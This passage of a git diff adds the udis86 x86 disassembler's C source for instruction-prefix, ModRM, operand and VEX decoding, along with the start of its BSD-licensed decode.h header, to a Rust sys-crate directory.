+inp_next(struct ud *u) +{ + if (u->inp_end == 0) { + if (u->inp_buf != NULL) { + if (u->inp_buf_index < u->inp_buf_size) { + u->inp_ctr++; + return (u->inp_curr = u->inp_buf[u->inp_buf_index++]); + } + } else { + int c = u->inp_peek; + if (c != UD_EOI || (c = u->inp_hook(u)) != UD_EOI) { + u->inp_peek = UD_EOI; + u->inp_curr = c; + u->inp_sess[u->inp_ctr++] = u->inp_curr; + return u->inp_curr; + } + } + } + u->inp_end = 1; + UDERR(u, "byte expected, eoi received\n"); + return 0; +} + +static uint8_t +inp_curr(struct ud *u) +{ + return u->inp_curr; +} + + +/* + * inp_uint8 + * int_uint16 + * int_uint32 + * int_uint64 + * Load little-endian values from input + */ +static uint8_t +inp_uint8(struct ud* u) +{ + return inp_next(u); +} + +static uint16_t +inp_uint16(struct ud* u) +{ + uint16_t r, ret; + + ret = inp_next(u); + r = inp_next(u); + return ret | (r << 8); +} + +static uint32_t +inp_uint32(struct ud* u) +{ + uint32_t r, ret; + + ret = inp_next(u); + r = inp_next(u); + ret = ret | (r << 8); + r = inp_next(u); + ret = ret | (r << 16); + r = inp_next(u); + return ret | (r << 24); +} + +static uint64_t +inp_uint64(struct ud* u) +{ + uint64_t r, ret; + + ret = inp_next(u); + r = inp_next(u); + ret = ret | (r << 8); + r = inp_next(u); + ret = ret | (r << 16); + r = inp_next(u); + ret = ret | (r << 24); + r = inp_next(u); + ret = ret | (r << 32); + r = inp_next(u); + ret = ret | (r << 40); + r = inp_next(u); + ret = ret | (r << 48); + r = inp_next(u); + return ret | (r << 56); +} + + +static UD_INLINE int +eff_opr_mode(int dis_mode, int rex_w, int pfx_opr) +{ + if (dis_mode == 64) { + return rex_w ? 64 : (pfx_opr ? 16 : 32); + } else if (dis_mode == 32) { + return pfx_opr ? 16 : 32; + } else { + UD_ASSERT(dis_mode == 16); + return pfx_opr ? 32 : 16; + } +} + + +static UD_INLINE int +eff_adr_mode(int dis_mode, int pfx_adr) +{ + if (dis_mode == 64) { + return pfx_adr ? 32 : 64; + } else if (dis_mode == 32) { + return pfx_adr ? 16 : 32; + } else { + UD_ASSERT(dis_mode == 16); + return pfx_adr ? 32 : 16; + } +} + + +/* + * decode_prefixes + * + * Extracts instruction prefixes. + */ +static int +decode_prefixes(struct ud *u) +{ + int done = 0; + uint8_t curr = 0, last = 0; + UD_RETURN_ON_ERROR(u); + + do { + last = curr; + curr = inp_next(u); + UD_RETURN_ON_ERROR(u); + if (u->inp_ctr == MAX_INSN_LENGTH) { + UD_RETURN_WITH_ERROR(u, "max instruction length"); + } + + switch (curr) + { + case 0x2E: + u->pfx_seg = UD_R_CS; + break; + case 0x36: + u->pfx_seg = UD_R_SS; + break; + case 0x3E: + u->pfx_seg = UD_R_DS; + break; + case 0x26: + u->pfx_seg = UD_R_ES; + break; + case 0x64: + u->pfx_seg = UD_R_FS; + break; + case 0x65: + u->pfx_seg = UD_R_GS; + break; + case 0x67: /* adress-size override prefix */ + u->pfx_adr = 0x67; + break; + case 0xF0: + u->pfx_lock = 0xF0; + break; + case 0x66: + u->pfx_opr = 0x66; + break; + case 0xF2: + u->pfx_str = 0xf2; + break; + case 0xF3: + u->pfx_str = 0xf3; + break; + default: + /* consume if rex */ + done = (u->dis_mode == 64 && (curr & 0xF0) == 0x40) ? 0 : 1; + break; + } + } while (!done); + /* rex prefixes in 64bit mode, must be the last prefix */ + if (u->dis_mode == 64 && (last & 0xF0) == 0x40) { + u->pfx_rex = last; + } + return 0; +} + + +/* + * vex_l, vex_w + * Return the vex.L and vex.W bits + */ +static UD_INLINE uint8_t +vex_l(const struct ud *u) +{ + UD_ASSERT(u->vex_op != 0); + return ((u->vex_op == 0xc4 ? u->vex_b2 : u->vex_b1) >> 2) & 1; +} + +static UD_INLINE uint8_t +vex_w(const struct ud *u) +{ + UD_ASSERT(u->vex_op != 0); + return u->vex_op == 0xc4 ? ((u->vex_b2 >> 7) & 1) : 0; +} + + +static UD_INLINE uint8_t +modrm(struct ud * u) +{ + if ( !u->have_modrm ) { + u->modrm = inp_next( u ); + u->modrm_offset = (uint8_t) (u->inp_ctr - 1); + u->have_modrm = 1; + } + return u->modrm; +} + + +static unsigned int +resolve_operand_size(const struct ud* u, ud_operand_size_t osize) +{ + switch (osize) { + case SZ_V: + return u->opr_mode; + case SZ_Z: + return u->opr_mode == 16 ? 16 : 32; + case SZ_Y: + return u->opr_mode == 16 ? 32 : u->opr_mode; + case SZ_RDQ: + return u->dis_mode == 64 ? 64 : 32; + case SZ_X: + UD_ASSERT(u->vex_op != 0); + return (P_VEXL(u->itab_entry->prefix) && vex_l(u)) ? SZ_QQ : SZ_DQ; + default: + return osize; + } +} + + +static int resolve_mnemonic( struct ud* u ) +{ + /* resolve 3dnow weirdness. */ + if ( u->mnemonic == UD_I3dnow ) { + u->mnemonic = ud_itab[ u->le->table[ inp_curr( u ) ] ].mnemonic; + } + /* SWAPGS is only valid in 64bits mode */ + if ( u->mnemonic == UD_Iswapgs && u->dis_mode != 64 ) { + UDERR(u, "swapgs invalid in 64bits mode\n"); + return -1; + } + + if (u->mnemonic == UD_Ixchg) { + if ((u->operand[0].type == UD_OP_REG && u->operand[0].base == UD_R_AX && + u->operand[1].type == UD_OP_REG && u->operand[1].base == UD_R_AX) || + (u->operand[0].type == UD_OP_REG && u->operand[0].base == UD_R_EAX && + u->operand[1].type == UD_OP_REG && u->operand[1].base == UD_R_EAX)) { + u->operand[0].type = UD_NONE; + u->operand[1].type = UD_NONE; + u->mnemonic = UD_Inop; + } + } + + if (u->mnemonic == UD_Inop && u->pfx_repe) { + u->pfx_repe = 0; + u->mnemonic = UD_Ipause; + } + return 0; +} + + +/* ----------------------------------------------------------------------------- + * decode_a()- Decodes operands of the type seg:offset + * ----------------------------------------------------------------------------- + */ +static void +decode_a(struct ud* u, struct ud_operand *op) +{ + if (u->opr_mode == 16) { + /* seg16:off16 */ + op->type = UD_OP_PTR; + op->size = 32; + op->lval.ptr.off = inp_uint16(u); + op->lval.ptr.seg = inp_uint16(u); + } else { + /* seg16:off32 */ + op->type = UD_OP_PTR; + op->size = 48; + op->lval.ptr.off = inp_uint32(u); + op->lval.ptr.seg = inp_uint16(u); + } +} + +/* ----------------------------------------------------------------------------- + * decode_gpr() - Returns decoded General Purpose Register + * ----------------------------------------------------------------------------- + */ +static enum ud_type +decode_gpr(register struct ud* u, unsigned int s, unsigned char rm) +{ + switch (s) { + case 64: + return UD_R_RAX + rm; + case 32: + return UD_R_EAX + rm; + case 16: + return UD_R_AX + rm; + case 8: + if (u->dis_mode == 64 && u->pfx_rex) { + if (rm >= 4) + return UD_R_SPL + (rm-4); + return UD_R_AL + rm; + } else return UD_R_AL + rm; + case 0: + /* invalid size in case of a decode error */ + UD_ASSERT(u->error); + return UD_NONE; + default: + UD_ASSERT(!"invalid operand size"); + return UD_NONE; + } +} + +static void +decode_reg(struct ud *u, + struct ud_operand *opr, + int type, + int num, + int size) +{ + int reg; + size = resolve_operand_size(u, size); + switch (type) { + case REGCLASS_GPR : reg = decode_gpr(u, size, num); break; + case REGCLASS_MMX : reg = UD_R_MM0 + (num & 7); break; + case REGCLASS_XMM : + reg = num + (size == SZ_QQ ? UD_R_YMM0 : UD_R_XMM0); + break; + case REGCLASS_CR : reg = UD_R_CR0 + num; break; + case REGCLASS_DB : reg = UD_R_DR0 + num; break; + case REGCLASS_SEG : { + /* + * Only 6 segment registers, anything else is an error. + */ + if ((num & 7) > 5) { + UDERR(u, "invalid segment register value\n"); + return; + } else { + reg = UD_R_ES + (num & 7); + } + break; + } + default: + UD_ASSERT(!"invalid register type"); + return; + } + opr->type = UD_OP_REG; + opr->base = reg; + opr->size = size; +} + + +/* + * decode_imm + * + * Decode Immediate values. + */ +static void +decode_imm(struct ud* u, unsigned int size, struct ud_operand *op) +{ + op->size = resolve_operand_size(u, size); + op->type = UD_OP_IMM; + + switch (op->size) { + case 8: op->lval.sbyte = inp_uint8(u); break; + case 16: op->lval.uword = inp_uint16(u); break; + case 32: op->lval.udword = inp_uint32(u); break; + case 64: op->lval.uqword = inp_uint64(u); break; + default: return; + } +} + + +/* + * decode_mem_disp + * + * Decode mem address displacement. + */ +static void +decode_mem_disp(struct ud* u, unsigned int size, struct ud_operand *op) +{ + switch (size) { + case 8: + op->offset = 8; + op->lval.ubyte = inp_uint8(u); + break; + case 16: + op->offset = 16; + op->lval.uword = inp_uint16(u); + break; + case 32: + op->offset = 32; + op->lval.udword = inp_uint32(u); + break; + case 64: + op->offset = 64; + op->lval.uqword = inp_uint64(u); + break; + default: + return; + } +} + + +/* + * decode_modrm_reg + * + * Decodes reg field of mod/rm byte + * + */ +static UD_INLINE void +decode_modrm_reg(struct ud *u, + struct ud_operand *operand, + unsigned int type, + unsigned int size) +{ + uint8_t reg = (REX_R(u->_rex) << 3) | MODRM_REG(modrm(u)); + decode_reg(u, operand, type, reg, size); +} + + +/* + * decode_modrm_rm + * + * Decodes rm field of mod/rm byte + * + */ +static void +decode_modrm_rm(struct ud *u, + struct ud_operand *op, + unsigned char type, /* register type */ + unsigned int size) /* operand size */ + +{ + size_t offset = 0; + unsigned char mod, rm; + + /* get mod, r/m and reg fields */ + mod = MODRM_MOD(modrm(u)); + rm = (REX_B(u->_rex) << 3) | MODRM_RM(modrm(u)); + + /* + * If mod is 11b, then the modrm.rm specifies a register. + * + */ + if (mod == 3) { + decode_reg(u, op, type, rm, size); + return; + } + + /* + * !11b => Memory Address + */ + op->type = UD_OP_MEM; + op->size = resolve_operand_size(u, size); + + if (u->adr_mode == 64) { + op->base = UD_R_RAX + rm; + if (mod == 1) { + offset = 8; + } else if (mod == 2) { + offset = 32; + } else if (mod == 0 && (rm & 7) == 5) { + op->base = UD_R_RIP; + offset = 32; + } else { + offset = 0; + } + /* + * Scale-Index-Base (SIB) + */ + if ((rm & 7) == 4) { + inp_next(u); + + op->base = UD_R_RAX + (SIB_B(inp_curr(u)) | (REX_B(u->_rex) << 3)); + op->index = UD_R_RAX + (SIB_I(inp_curr(u)) | (REX_X(u->_rex) << 3)); + /* special conditions for base reference */ + if (op->index == UD_R_RSP) { + op->index = UD_NONE; + op->scale = UD_NONE; + } else { + op->scale = (1 << SIB_S(inp_curr(u))) & ~1; + } + + if (op->base == UD_R_RBP || op->base == UD_R_R13) { + if (mod == 0) { + op->base = UD_NONE; + } + if (mod == 1) { + offset = 8; + } else { + offset = 32; + } + } + } else { + op->scale = UD_NONE; + op->index = UD_NONE; + } + } else if (u->adr_mode == 32) { + op->base = UD_R_EAX + rm; + if (mod == 1) { + offset = 8; + } else if (mod == 2) { + offset = 32; + } else if (mod == 0 && rm == 5) { + op->base = UD_NONE; + offset = 32; + } else { + offset = 0; + } + + /* Scale-Index-Base (SIB) */ + if ((rm & 7) == 4) { + inp_next(u); + + op->scale = (1 << SIB_S(inp_curr(u))) & ~1; + op->index = UD_R_EAX + (SIB_I(inp_curr(u)) | (REX_X(u->pfx_rex) << 3)); + op->base = UD_R_EAX + (SIB_B(inp_curr(u)) | (REX_B(u->pfx_rex) << 3)); + + if (op->index == UD_R_ESP) { + op->index = UD_NONE; + op->scale = UD_NONE; + } + + /* special condition for base reference */ + if (op->base == UD_R_EBP) { + if (mod == 0) { + op->base = UD_NONE; + } + if (mod == 1) { + offset = 8; + } else { + offset = 32; + } + } + } else { + op->scale = UD_NONE; + op->index = UD_NONE; + } + } else { + const unsigned int bases[] = { UD_R_BX, UD_R_BX, UD_R_BP, UD_R_BP, + UD_R_SI, UD_R_DI, UD_R_BP, UD_R_BX }; + const unsigned int indices[] = { UD_R_SI, UD_R_DI, UD_R_SI, UD_R_DI, + UD_NONE, UD_NONE, UD_NONE, UD_NONE }; + op->base = bases[rm & 7]; + op->index = indices[rm & 7]; + op->scale = UD_NONE; + if (mod == 0 && rm == 6) { + offset = 16; + op->base = UD_NONE; + } else if (mod == 1) { + offset = 8; + } else if (mod == 2) { + offset = 16; + } + } + + if (offset) { + decode_mem_disp(u, offset, op); + } else { + op->offset = 0; + } +} + + +/* + * decode_moffset + * Decode offset-only memory operand + */ +static void +decode_moffset(struct ud *u, unsigned int size, struct ud_operand *opr) +{ + opr->type = UD_OP_MEM; + opr->base = UD_NONE; + opr->index = UD_NONE; + opr->scale = UD_NONE; + opr->size = resolve_operand_size(u, size); + decode_mem_disp(u, u->adr_mode, opr); +} + + +static void +decode_vex_vvvv(struct ud *u, struct ud_operand *opr, unsigned size) +{ + uint8_t vvvv; + UD_ASSERT(u->vex_op != 0); + vvvv = ((u->vex_op == 0xc4 ? u->vex_b2 : u->vex_b1) >> 3) & 0xf; + decode_reg(u, opr, REGCLASS_XMM, (0xf & ~vvvv), size); +} + + +/* + * decode_vex_immreg + * Decode source operand encoded in immediate byte [7:4] + */ +static int +decode_vex_immreg(struct ud *u, struct ud_operand *opr, unsigned size) +{ + uint8_t imm = inp_next(u); + uint8_t mask = u->dis_mode == 64 ? 0xf : 0x7; + UD_RETURN_ON_ERROR(u); + UD_ASSERT(u->vex_op != 0); + decode_reg(u, opr, REGCLASS_XMM, mask & (imm >> 4), size); + return 0; +} + + +/* + * decode_operand + * + * Decodes a single operand. + * Returns the type of the operand (UD_NONE if none) + */ +static int +decode_operand(struct ud *u, + struct ud_operand *operand, + enum ud_operand_code type, + unsigned int size) +{ + operand->type = UD_NONE; + operand->_oprcode = type; + + switch (type) { + case OP_A : + decode_a(u, operand); + break; + case OP_MR: + decode_modrm_rm(u, operand, REGCLASS_GPR, + MODRM_MOD(modrm(u)) == 3 ? + Mx_reg_size(size) : Mx_mem_size(size)); + break; + case OP_F: + u->br_far = 1; + /* intended fall through */ + case OP_M: + if (MODRM_MOD(modrm(u)) == 3) { + UDERR(u, "expected modrm.mod != 3\n"); + } + /* intended fall through */ + case OP_E: + decode_modrm_rm(u, operand, REGCLASS_GPR, size); + break; + case OP_G: + decode_modrm_reg(u, operand, REGCLASS_GPR, size); + break; + case OP_sI: + case OP_I: + decode_imm(u, size, operand); + break; + case OP_I1: + operand->type = UD_OP_CONST; + operand->lval.udword = 1; + break; + case OP_N: + if (MODRM_MOD(modrm(u)) != 3) { + UDERR(u, "expected modrm.mod == 3\n"); + } + /* intended fall through */ + case OP_Q: + decode_modrm_rm(u, operand, REGCLASS_MMX, size); + break; + case OP_P: + decode_modrm_reg(u, operand, REGCLASS_MMX, size); + break; + case OP_U: + if (MODRM_MOD(modrm(u)) != 3) { + UDERR(u, "expected modrm.mod == 3\n"); + } + /* intended fall through */ + case OP_W: + decode_modrm_rm(u, operand, REGCLASS_XMM, size); + break; + case OP_V: + decode_modrm_reg(u, operand, REGCLASS_XMM, size); + break; + case OP_H: + decode_vex_vvvv(u, operand, size); + break; + case OP_MU: + decode_modrm_rm(u, operand, REGCLASS_XMM, + MODRM_MOD(modrm(u)) == 3 ? + Mx_reg_size(size) : Mx_mem_size(size)); + break; + case OP_S: + decode_modrm_reg(u, operand, REGCLASS_SEG, size); + break; + case OP_O: + decode_moffset(u, size, operand); + break; + case OP_R0: + case OP_R1: + case OP_R2: + case OP_R3: + case OP_R4: + case OP_R5: + case OP_R6: + case OP_R7: + decode_reg(u, operand, REGCLASS_GPR, + (REX_B(u->_rex) << 3) | (type - OP_R0), size); + break; + case OP_AL: + case OP_AX: + case OP_eAX: + case OP_rAX: + decode_reg(u, operand, REGCLASS_GPR, 0, size); + break; + case OP_CL: + case OP_CX: + case OP_eCX: + decode_reg(u, operand, REGCLASS_GPR, 1, size); + break; + case OP_DL: + case OP_DX: + case OP_eDX: + decode_reg(u, operand, REGCLASS_GPR, 2, size); + break; + case OP_ES: + case OP_CS: + case OP_DS: + case OP_SS: + case OP_FS: + case OP_GS: + /* in 64bits mode, only fs and gs are allowed */ + if (u->dis_mode == 64) { + if (type != OP_FS && type != OP_GS) { + UDERR(u, "invalid segment register in 64bits\n"); + } + } + operand->type = UD_OP_REG; + operand->base = (type - OP_ES) + UD_R_ES; + operand->size = 16; + break; + case OP_J : + decode_imm(u, size, operand); + operand->type = UD_OP_JIMM; + break ; + case OP_R : + if (MODRM_MOD(modrm(u)) != 3) { + UDERR(u, "expected modrm.mod == 3\n"); + } + decode_modrm_rm(u, operand, REGCLASS_GPR, size); + break; + case OP_C: + decode_modrm_reg(u, operand, REGCLASS_CR, size); + break; + case OP_D: + decode_modrm_reg(u, operand, REGCLASS_DB, size); + break; + case OP_I3 : + operand->type = UD_OP_CONST; + operand->lval.sbyte = 3; + break; + case OP_ST0: + case OP_ST1: + case OP_ST2: + case OP_ST3: + case OP_ST4: + case OP_ST5: + case OP_ST6: + case OP_ST7: + operand->type = UD_OP_REG; + operand->base = (type - OP_ST0) + UD_R_ST0; + operand->size = 80; + break; + case OP_L: + decode_vex_immreg(u, operand, size); + break; + default : + operand->type = UD_NONE; + break; + } + return operand->type; +} + + +/* + * decode_operands + * + * Disassemble upto 3 operands of the current instruction being + * disassembled. By the end of the function, the operand fields + * of the ud structure will have been filled. + */ +static int +decode_operands(struct ud* u) +{ + decode_operand(u, &u->operand[0], + u->itab_entry->operand1.type, + u->itab_entry->operand1.size); + if (u->operand[0].type != UD_NONE) { + decode_operand(u, &u->operand[1], + u->itab_entry->operand2.type, + u->itab_entry->operand2.size); + } + if (u->operand[1].type != UD_NONE) { + decode_operand(u, &u->operand[2], + u->itab_entry->operand3.type, + u->itab_entry->operand3.size); + } + if (u->operand[2].type != UD_NONE) { + decode_operand(u, &u->operand[3], + u->itab_entry->operand4.type, + u->itab_entry->operand4.size); + } + return 0; +} + +/* ----------------------------------------------------------------------------- + * clear_insn() - clear instruction structure + * ----------------------------------------------------------------------------- + */ +static void +clear_insn(register struct ud* u) +{ + u->error = 0; + u->pfx_seg = 0; + u->pfx_opr = 0; + u->pfx_adr = 0; + u->pfx_lock = 0; + u->pfx_repne = 0; + u->pfx_rep = 0; + u->pfx_repe = 0; + u->pfx_rex = 0; + u->pfx_str = 0; + u->mnemonic = UD_Inone; + u->itab_entry = NULL; + u->have_modrm = 0; + u->br_far = 0; + u->vex_op = 0; + u->_rex = 0; + u->operand[0].type = UD_NONE; + u->operand[1].type = UD_NONE; + u->operand[2].type = UD_NONE; + u->operand[3].type = UD_NONE; +} + + +static UD_INLINE int +resolve_pfx_str(struct ud* u) +{ + if (u->pfx_str == 0xf3) { + if (P_STR(u->itab_entry->prefix)) { + u->pfx_rep = 0xf3; + } else { + u->pfx_repe = 0xf3; + } + } else if (u->pfx_str == 0xf2) { + u->pfx_repne = 0xf3; + } + return 0; +} + + +static int +resolve_mode( struct ud* u ) +{ + int default64; + /* if in error state, bail out */ + if ( u->error ) return -1; + + /* propagate prefix effects */ + if ( u->dis_mode == 64 ) { /* set 64bit-mode flags */ + + /* Check validity of instruction m64 */ + if ( P_INV64( u->itab_entry->prefix ) ) { + UDERR(u, "instruction invalid in 64bits\n"); + return -1; + } + + /* compute effective rex based on, + * - vex prefix (if any) + * - rex prefix (if any, and not vex) + * - allowed prefixes specified by the opcode map + */ + if (u->vex_op == 0xc4) { + /* vex has rex.rxb in 1's complement */ + u->_rex = ((~(u->vex_b1 >> 5) & 0x7) /* rex.0rxb */ | + ((u->vex_b2 >> 4) & 0x8) /* rex.w000 */); + } else if (u->vex_op == 0xc5) { + /* vex has rex.r in 1's complement */ + u->_rex = (~(u->vex_b1 >> 5)) & 4; + } else { + UD_ASSERT(u->vex_op == 0); + u->_rex = u->pfx_rex; + } + u->_rex &= REX_PFX_MASK(u->itab_entry->prefix); + + /* whether this instruction has a default operand size of + * 64bit, also hardcoded into the opcode map. + */ + default64 = P_DEF64( u->itab_entry->prefix ); + /* calculate effective operand size */ + if (REX_W(u->_rex)) { + u->opr_mode = 64; + } else if ( u->pfx_opr ) { + u->opr_mode = 16; + } else { + /* unless the default opr size of instruction is 64, + * the effective operand size in the absence of rex.w + * prefix is 32. + */ + u->opr_mode = default64 ? 64 : 32; + } + + /* calculate effective address size */ + u->adr_mode = (u->pfx_adr) ? 32 : 64; + } else if ( u->dis_mode == 32 ) { /* set 32bit-mode flags */ + u->opr_mode = ( u->pfx_opr ) ? 16 : 32; + u->adr_mode = ( u->pfx_adr ) ? 16 : 32; + } else if ( u->dis_mode == 16 ) { /* set 16bit-mode flags */ + u->opr_mode = ( u->pfx_opr ) ? 32 : 16; + u->adr_mode = ( u->pfx_adr ) ? 32 : 16; + } + + return 0; +} + + +static UD_INLINE int +decode_insn(struct ud *u, uint16_t ptr) +{ + UD_ASSERT((ptr & 0x8000) == 0); + u->itab_entry = &ud_itab[ ptr ]; + u->mnemonic = u->itab_entry->mnemonic; + return (resolve_pfx_str(u) == 0 && + resolve_mode(u) == 0 && + decode_operands(u) == 0 && + resolve_mnemonic(u) == 0) ? 0 : -1; +} + + +/* + * decode_3dnow() + * + * Decoding 3dnow is a little tricky because of its strange opcode + * structure. The final opcode disambiguation depends on the last + * byte that comes after the operands have been decoded. Fortunately, + * all 3dnow instructions have the same set of operand types. So we + * go ahead and decode the instruction by picking an arbitrarily chosen + * valid entry in the table, decode the operands, and read the final + * byte to resolve the menmonic. + */ +static UD_INLINE int +decode_3dnow(struct ud* u) +{ + uint16_t ptr; + UD_ASSERT(u->le->type == UD_TAB__OPC_3DNOW); + UD_ASSERT(u->le->table[0xc] != 0); + decode_insn(u, u->le->table[0xc]); + inp_next(u); + if (u->error) { + return -1; + } + ptr = u->le->table[inp_curr(u)]; + UD_ASSERT((ptr & 0x8000) == 0); + u->mnemonic = ud_itab[ptr].mnemonic; + return 0; +} + + +static int +decode_ssepfx(struct ud *u) +{ + uint8_t idx; + uint8_t pfx; + + /* + * String prefixes (f2, f3) take precedence over operand + * size prefix (66). + */ + pfx = u->pfx_str; + if (pfx == 0) { + pfx = u->pfx_opr; + } + idx = ((pfx & 0xf) + 1) / 2; + if (u->le->table[idx] == 0) { + idx = 0; + } + if (idx && u->le->table[idx] != 0) { + /* + * "Consume" the prefix as a part of the opcode, so it is no + * longer exported as an instruction prefix. + */ + u->pfx_str = 0; + if (pfx == 0x66) { + /* + * consume "66" only if it was used for decoding, leaving + * it to be used as an operands size override for some + * simd instructions. + */ + u->pfx_opr = 0; + } + } + return decode_ext(u, u->le->table[idx]); +} + + +static int +decode_vex(struct ud *u) +{ + uint8_t index; + if (u->dis_mode != 64 && MODRM_MOD(inp_peek(u)) != 0x3) { + index = 0; + } else { + u->vex_op = inp_curr(u); + u->vex_b1 = inp_next(u); + if (u->vex_op == 0xc4) { + uint8_t pp, m; + /* 3-byte vex */ + u->vex_b2 = inp_next(u); + UD_RETURN_ON_ERROR(u); + m = u->vex_b1 & 0x1f; + if (m == 0 || m > 3) { + UD_RETURN_WITH_ERROR(u, "reserved vex.m-mmmm value"); + } + pp = u->vex_b2 & 0x3; + index = (pp << 2) | m; + } else { + /* 2-byte vex */ + UD_ASSERT(u->vex_op == 0xc5); + index = 0x1 | ((u->vex_b1 & 0x3) << 2); + } + } + return decode_ext(u, u->le->table[index]); +} + + +/* + * decode_ext() + * + * Decode opcode extensions (if any) + */ +static int +decode_ext(struct ud *u, uint16_t ptr) +{ + uint8_t idx = 0; + if ((ptr & 0x8000) == 0) { + return decode_insn(u, ptr); + } + u->le = &ud_lookup_table_list[(~0x8000 & ptr)]; + if (u->le->type == UD_TAB__OPC_3DNOW) { + return decode_3dnow(u); + } + + switch (u->le->type) { + case UD_TAB__OPC_MOD: + /* !11 = 0, 11 = 1 */ + idx = (MODRM_MOD(modrm(u)) + 1) / 4; + break; + /* disassembly mode/operand size/address size based tables. + * 16 = 0,, 32 = 1, 64 = 2 + */ + case UD_TAB__OPC_MODE: + idx = u->dis_mode != 64 ? 0 : 1; + break; + case UD_TAB__OPC_OSIZE: + idx = eff_opr_mode(u->dis_mode, REX_W(u->pfx_rex), u->pfx_opr) / 32; + break; + case UD_TAB__OPC_ASIZE: + idx = eff_adr_mode(u->dis_mode, u->pfx_adr) / 32; + break; + case UD_TAB__OPC_X87: + idx = modrm(u) - 0xC0; + break; + case UD_TAB__OPC_VENDOR: + if (u->vendor == UD_VENDOR_ANY) { + /* choose a valid entry */ + idx = (u->le->table[idx] != 0) ? 0 : 1; + } else if (u->vendor == UD_VENDOR_AMD) { + idx = 0; + } else { + idx = 1; + } + break; + case UD_TAB__OPC_RM: + idx = MODRM_RM(modrm(u)); + break; + case UD_TAB__OPC_REG: + idx = MODRM_REG(modrm(u)); + break; + case UD_TAB__OPC_SSE: + return decode_ssepfx(u); + case UD_TAB__OPC_VEX: + return decode_vex(u); + case UD_TAB__OPC_VEX_W: + idx = vex_w(u); + break; + case UD_TAB__OPC_VEX_L: + idx = vex_l(u); + break; + case UD_TAB__OPC_TABLE: + inp_next(u); + return decode_opcode(u); + default: + UD_ASSERT(!"not reached"); + break; + } + + return decode_ext(u, u->le->table[idx]); +} + + +static int +decode_opcode(struct ud *u) +{ + uint16_t ptr; + UD_ASSERT(u->le->type == UD_TAB__OPC_TABLE); + UD_RETURN_ON_ERROR(u); + ptr = u->le->table[inp_curr(u)]; + return decode_ext(u, ptr); +} + + +/* ============================================================================= + * ud_decode() - Instruction decoder. Returns the number of bytes decoded. + * ============================================================================= + */ +unsigned int +ud_decode(struct ud *u) +{ + inp_start(u); + clear_insn(u); + u->le = &ud_lookup_table_list[0]; + u->error = decode_prefixes(u) == -1 || + decode_opcode(u) == -1 || + u->error; + /* Handle decode error. */ + if (u->error) { + /* clear out the decode data. */ + clear_insn(u); + /* mark the sequence of bytes as invalid. */ + u->itab_entry = &ud_itab[0]; /* entry 0 is invalid */ + u->mnemonic = u->itab_entry->mnemonic; + } + + /* maybe this stray segment override byte + * should be spewed out? + */ + if ( !P_SEG( u->itab_entry->prefix ) && + u->operand[0].type != UD_OP_MEM && + u->operand[1].type != UD_OP_MEM ) + u->pfx_seg = 0; + + u->insn_offset = u->pc; /* set offset of instruction */ + u->asm_buf_fill = 0; /* set translation buffer index to 0 */ + u->pc += u->inp_ctr; /* move program counter by bytes decoded */ + + /* return number of bytes disassembled. */ + return u->inp_ctr; +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/decode.h b/lib/libudis86-sys/libudis86/decode.h new file mode 100644 index 0000000..3949c4e --- /dev/null +++ b/lib/libudis86-sys/libudis86/decode.h @@ -0,0 +1,197 @@ +/* udis86 - libudis86/decode.h + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_DECODE_H +#define UD_DECODE_H + +#include "types.h" +#include "udint.h" +#include "itab.h" + +#define MAX_INSN_LENGTH 15 + +/* itab prefix bits */ +#define P_none ( 0 ) + +#define P_inv64 ( 1 << 0 ) +#define P_INV64(n) ( ( n >> 0 ) & 1 ) +#define P_def64 ( 1 << 1 ) +#define P_DEF64(n) ( ( n >> 1 ) & 1 ) + +#define P_oso ( 1 << 2 ) +#define P_OSO(n) ( ( n >> 2 ) & 1 ) +#define P_aso ( 1 << 3 ) +#define P_ASO(n) ( ( n >> 3 ) & 1 ) + +#define P_rexb ( 1 << 4 ) +#define P_REXB(n) ( ( n >> 4 ) & 1 ) +#define P_rexw ( 1 << 5 ) +#define P_REXW(n) ( ( n >> 5 ) & 1 ) +#define P_rexr ( 1 << 6 ) +#define P_REXR(n) ( ( n >> 6 ) & 1 ) +#define P_rexx ( 1 << 7 ) +#define P_REXX(n) ( ( n >> 7 ) & 1 ) + +#define P_seg ( 1 << 8 ) +#define P_SEG(n) ( ( n >> 8 ) & 1 ) + +#define P_vexl ( 1 << 9 ) +#define P_VEXL(n) ( ( n >> 9 ) & 1 ) +#define P_vexw ( 1 << 10 ) +#define P_VEXW(n) ( ( n >> 10 ) & 1 ) + +#define P_str ( 1 << 11 ) +#define P_STR(n) ( ( n >> 11 ) & 1 ) +#define P_strz ( 1 << 12 ) +#define P_STR_ZF(n) ( ( n >> 12 ) & 1 ) + +/* operand type constants -- order is important! */ + +enum ud_operand_code { + OP_NONE, + + OP_A, OP_E, OP_M, OP_G, + OP_I, OP_F, + + OP_R0, OP_R1, OP_R2, OP_R3, + OP_R4, OP_R5, OP_R6, OP_R7, + + OP_AL, OP_CL, OP_DL, + OP_AX, OP_CX, OP_DX, + OP_eAX, OP_eCX, OP_eDX, + OP_rAX, OP_rCX, OP_rDX, + + OP_ES, OP_CS, OP_SS, OP_DS, + OP_FS, OP_GS, + + OP_ST0, OP_ST1, OP_ST2, 